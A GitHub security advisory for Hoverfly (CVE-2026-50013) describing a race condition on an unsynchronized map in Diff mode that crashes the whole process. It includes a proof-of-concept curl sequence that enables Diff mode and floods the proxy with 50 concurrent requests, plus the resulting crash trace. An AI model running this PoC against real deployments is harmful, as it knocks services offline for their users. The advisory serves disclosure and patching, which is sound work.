GitHub Advisoryadvisory · Go
GHSA-qrh4-p6v4-mrfg Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode
HIGH
Official page ↗
- Aliases
- CVE-2026-50013
- Ecosystem
- Go
- Packages
- github.com/SpectoLabs/hoverfly
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-362, CWE-820
- Reviewed
- 2026-07-14
Affected packages
• Go github.com/SpectoLabs/hoverfly: < 1.12.8 → fixed in 1.12.8
Description
Summary:
When Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.
Details:
1. Unsynchronized map access in `AddDiff()` (`core/hoverfly_service.go:417-421`):
```go
func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) {
if len(diffReport.DiffEntries) > 0 {
diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ
hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE
}
}
```
2. This function is called from Diff mode processing, which runs concurrently per request (`core/modes/diff_mode.go`):
Each incoming proxy request is handled in its own goroutine by Go's `net/http` server. In Diff mode, each request calls `AddDiff()` after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.
3. Go's runtime detects concurrent map access and terminates the process:
Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls `fatal()` which is unrecoverable, it cannot be caught by `recover()`.
4. No mutex protection exists on `responsesDiff`:
The field is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` with no associated `sync.RWMutex`. Compare with `hf.state` which properly uses `sync.RWMutex` for its map access.
Environment:
• Hoverfly version: v1.12.7
• Operating System: macOS Darwin 25.4.0
• Go version: 1.26.2
• Configuration: Hoverfly in Diff mode (`PUT /api/v2/hoverfly/mode {"mode":"diff"}`)
POC:
Step 1: Start Hoverfly and set Diff mode
```bash
./hoverfly &
sleep 2
Set diff mode
curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \
-H "Content-Type: application/json" \
-d '{"mode": "diff"}'
Load a simulation for diff comparison
curl -X PUT http://localhost:8888/api/v2/simulation \
-H "Content-Type: application/json" \
-d '{
"data": {
"pairs": [{
"request": {"path": [{"matcher": "glob", "value": "*"}]},
"response": {"status": 200, "body": "expected"}
}],
"globalActions": {"delays": [], "delaysLogNormal": []}
},
"meta": {"schemaVersion": "v5.2"}
}'
```
Step 2: Send concurrent requests to trigger the race
```bash
Send 50 concurrent requests, race condition triggers within seconds
for i in $(seq 1 50); do
curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
done
wait
```
Step 3: Observe the crash
```bash
Check if process is still running
pgrep -f hoverfly
```
crash output on Hoverfly v1.12.7:
```
fatal error: concurrent map read and map write
goroutine 892 [running]:
github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...)
/core/hoverfly_service.go:419
github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...)
```
The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.
Impact:
• Full denial of service: The process terminates immediately and cannot be recovered without a restart
• Trivial exploitation: Any attacker with proxy access can trigger this by sending multiple concurrent requests
• No admin API access required: Only proxy port access is needed to trigger the crash
• Unrecoverable: `fatal error` in Go cannot be caught by `recover()` — the process is unconditionally killed
• Affects all Diff mode users: Any team using Diff mode for API comparison testing is vulnerable
Related
Alias · CVE (1)
- CVE-2026-50013 Hoverfly is an open source API simulation tool. vulnerability